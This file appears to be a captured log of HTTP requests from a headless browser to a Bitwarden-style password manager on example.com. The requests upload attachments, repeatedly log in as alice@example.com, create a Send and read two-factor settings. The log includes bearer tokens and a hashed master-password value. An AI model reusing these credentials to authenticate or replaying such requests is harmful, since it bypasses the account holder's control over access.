{"method": "POST", "target": "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d/attachment/v2", "headers": ["Host: example.com", "Content-Length: 407", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA4OTEsImV4cCI6MTc5NDI4ODA5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI1MjdjODljMS1hOTIyLTRlMDAtYmY2Ni05NjA2N2MwYjYxNmEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Tj1JgWJJ2jTkRAfUfluTX2ya1IolqIPOQhnaDS4iFOtRBV4Zu2q7X0Fn4_2EzkTs6LtD5aYJyRmGOaU1cswQ3YSsy5Uh901js4OYxTjkfMGHfOcVWDfF57K_EjVJnv42lxiwrvH5Hl0bC4we2P_vZAkaEY_awgOFVEhSgfjWsi-TpaXugS49AbE3vWy2BU1WDbyqp0WdD9hMyWrfs-gJUM9idCTphwi2LNnYXsTmyhnVR-MuDl-yoOrwRSbPYd_nzl3UQvGK2T6xD97769UH0KF4t4bbJDRkXQDzkQBqWPHCh8HsWgtT9WVGwfjIbpHJxJVNF4NpyR7CdweXoFP7DA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"key\":\"2.6+/t1cXLQjL2XWtxlMFWUQ==|S1bEjNovqaa9eXcoDAv8diMkX+csiOa22ZWN1W+qFWZ9Nii2zmgCYYvFkw5aeL0+d7w0f8bZSnEEzkWZFytrsvIMS5qRkbDcvKhFjmoAUY8=|3oJjBLKNdJAeIsrniH0Y2RRmQZQL5wvmQL7+tUZLgRM=\",\"fileName\":\"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJrRS1uUQGA2Xmt6h8DaAIOUH68Yll8=|XLsfNVb3VSNdqrUkPtJDMPxLAevzg4j4RRoSFxeDcbE=\",\"fileSize\":129,\"adminRequest\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:21:20.572Z\"}"}
|
||||
{"method": "POST", "target": "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d/attachment/ec4c8ed74f6d3c56443a", "headers": ["Host: example.com", "Content-Length: 476", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA4OTEsImV4cCI6MTc5NDI4ODA5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI1MjdjODljMS1hOTIyLTRlMDAtYmY2Ni05NjA2N2MwYjYxNmEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Tj1JgWJJ2jTkRAfUfluTX2ya1IolqIPOQhnaDS4iFOtRBV4Zu2q7X0Fn4_2EzkTs6LtD5aYJyRmGOaU1cswQ3YSsy5Uh901js4OYxTjkfMGHfOcVWDfF57K_EjVJnv42lxiwrvH5Hl0bC4we2P_vZAkaEY_awgOFVEhSgfjWsi-TpaXugS49AbE3vWy2BU1WDbyqp0WdD9hMyWrfs-gJUM9idCTphwi2LNnYXsTmyhnVR-MuDl-yoOrwRSbPYd_nzl3UQvGK2T6xD97769UH0KF4t4bbJDRkXQDzkQBqWPHCh8HsWgtT9WVGwfjIbpHJxJVNF4NpyR7CdweXoFP7DA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfDyB7dEAAtvhyCLV", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "------WebKitFormBoundaryfDyB7dEAAtvhyCLV\r\nContent-Disposition: form-data; name=\"data\"; filename=\"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJrRS1uUQGA2Xmt6h8DaAIOUH68Yll8=|XLsfNVb3VSNdqrUkPtJDMPxLAevzg4j4RRoSFxeDcbE=\"\r\nContent-Type: application/octet-stream\r\n\r\nAgi25DaJcG/TpZQDNvwCVsKMfQZe0szpwbq2K2Yvdw+ILI0UzO1tkuw6XGF3oPW2TiI+O9Pq8s9+ffckxzs6v//6Blz+yRFAGffH1BCJuS1/tfUaq4+2BYJUm3+wi5ZLuaHPZ6AUpEOpgmNmziZ6gLPUzE9arx/rfsfRlCRMlMh5\r\n------WebKitFormBoundaryfDyB7dEAAtvhyCLV--\r\n"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=20532cb3-1d4a-461b-b5d7-2b94d6eab5e7&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=6c35bee9-33d5-4f3b-bcc7-6fdc427bbf29&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=eae1b97e-7594-486e-8101-06f7bb5349e5&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=bfc9d96d-a051-4bb0-9c39-dbedbef320c8&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=66dc38d8-6f33-481c-ad24-9c4f1e179a32&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=23865f51-21f2-49ee-856b-ef44e52c009d&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=0ca6b559-7b65-4146-9d04-0dca9d80f540&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/api/sends", "headers": ["Host: example.com", "Content-Length: 785", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODEyODksImV4cCI6MTc5NDI4ODQ4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiIwY2E2YjU1OS03YjY1LTQxNDYtOWQwNC0wZGNhOWQ4MGY1NDAiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.CnUU2-P5TWVYHy-UbW2JAA8svc3rCak8sPn4kGdp6CoHKfNAuWz5MCLQtszd2kS7mJJXKQKEk8D8sbtOmJzZQ8yyDIi8bDM6P5-7c4XFOfRUlGQCDbVjTtKuCfR1qS9PXeyrt1mEruet4WHonZHywbUeAyIP4LcG7tDFmy8ToAMMB3njya9WNJR9jcBioISAwfziJkk97KLsiV7dTbm1i3qdDEk5GZwLxtLizmy2_nF1FLXMk1cDq6i7NOaKjQSsFYPD_V7HF_ZY4arJalO52MYcXq_M3jIQ5iOakRJK7tGnSNhnBO3xCMg7YQv_nxLMzaYWHiJNVjaTg-RYrrNJ8w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":0,\"name\":\"2.UG0NfZP+eYgYbFkoRW6pTQ==|hpW2x+CkS4AlevPY22zQcXyGE3s2zeJdH3mRK8hOIn8=|kXyiZb4Y18fFHeqrsMFhxuT1iCFq7i0z+G7s1/Uk/50=\",\"notes\":\"2.azdjfJs5HdF6wBOmMaPplQ==|pUwrcZiX5oj3kvlBTJnTvykJERLBTaXClAK1P5IW07caL8yCyE6kl2FQpkU5RyGK|7xrxPjMkJMSxEIdNAXHU01rL5kAPaaqMR74Z/rpywX0=\",\"maxAccessCount\":5,\"expirationDate\":\"2026-11-17T03:28:30.000Z\",\"deletionDate\":\"2026-11-17T03:28:30.000Z\",\"key\":\"2.leQijIRkDpE2rFtp0gLrQQ==|nUvLKx1yAiewP5OIcrErkZd/h4twE02xICbcFqwXKPQ=|rAX8Ax54P6URtJhssMXWRwtgDuctbvIGzPUenTYTCRw=\",\"emails\":null,\"disabled\":false,\"hideEmail\":false,\"authType\":2,\"text\":{\"response\":null,\"text\":\"2.GoddGA97p/EQNASon7QqIw==|0/M189+zXehpfs/w/a8EG4BBWa94rWFXk4JC3hkTQNDieslAA2csP5z4SvJf82Jj15bcYWJXEuzOgRQrAf9gEQ==|u3S4hzZTBJxeDqMYb/H2P4/ePlY0eq6SpAhxYMxQ5U4=\",\"hidden\":false}}"}
|
||||
{"method": "GET", "target": "/api/sends/53749b39-757b-49c2-abd0-d9d606713e8d", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODEyODksImV4cCI6MTc5NDI4ODQ4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiIwY2E2YjU1OS03YjY1LTQxNDYtOWQwNC0wZGNhOWQ4MGY1NDAiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.CnUU2-P5TWVYHy-UbW2JAA8svc3rCak8sPn4kGdp6CoHKfNAuWz5MCLQtszd2kS7mJJXKQKEk8D8sbtOmJzZQ8yyDIi8bDM6P5-7c4XFOfRUlGQCDbVjTtKuCfR1qS9PXeyrt1mEruet4WHonZHywbUeAyIP4LcG7tDFmy8ToAMMB3njya9WNJR9jcBioISAwfziJkk97KLsiV7dTbm1i3qdDEk5GZwLxtLizmy2_nF1FLXMk1cDq6i7NOaKjQSsFYPD_V7HF_ZY4arJalO52MYcXq_M3jIQ5iOakRJK7tGnSNhnBO3xCMg7YQv_nxLMzaYWHiJNVjaTg-RYrrNJ8w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=794eb997-4a05-4e1c-8d80-e8bd7bc035c1&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "GET", "target": "/api/two-factor", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODEzMjksImV4cCI6MTc5NDI4ODUyOSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI3OTRlYjk5Ny00YTA1LTRlMWMtOGQ4MC1lOGJkN2JjMDM1YzEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.OWvitaQoFayAvf-uRSzSjM8uh7CyqtVrrD2GzgY6lazGHVHcTTjdTLrDAblHGw94_r1pN4jkkMjJEz7jRMmbleCe99Lz8pSQ_roCk7WxxC3IIbw4aCEORbztknrjXHhhWEghn2MvcwM3yok-i9xzRM-YUXcmSdR8Lb0bVcfCIZuVJaGIRa5Ixq_CIc-NnzVl_umwKwXe0NA8k6wdHoUW_r7DyD31szPJhcpitw_mekbDYKpm3mCwgl7WvkBy73mJlDhduZ3NHA85YmHu7I_0JgMal_CDXfnUPYfAqBwO7jOVtrvsuyyEIga-IQq68jUbSAIFmw1_2EA-jZ7qIvc1uQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=0681b06f-477d-4b4a-89ce-960167180cfc&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=bf045b02-9f2d-4510-9739-6873c279a75e&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e7f101bf-a371-40c9-b836-f28c304e7fdb&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
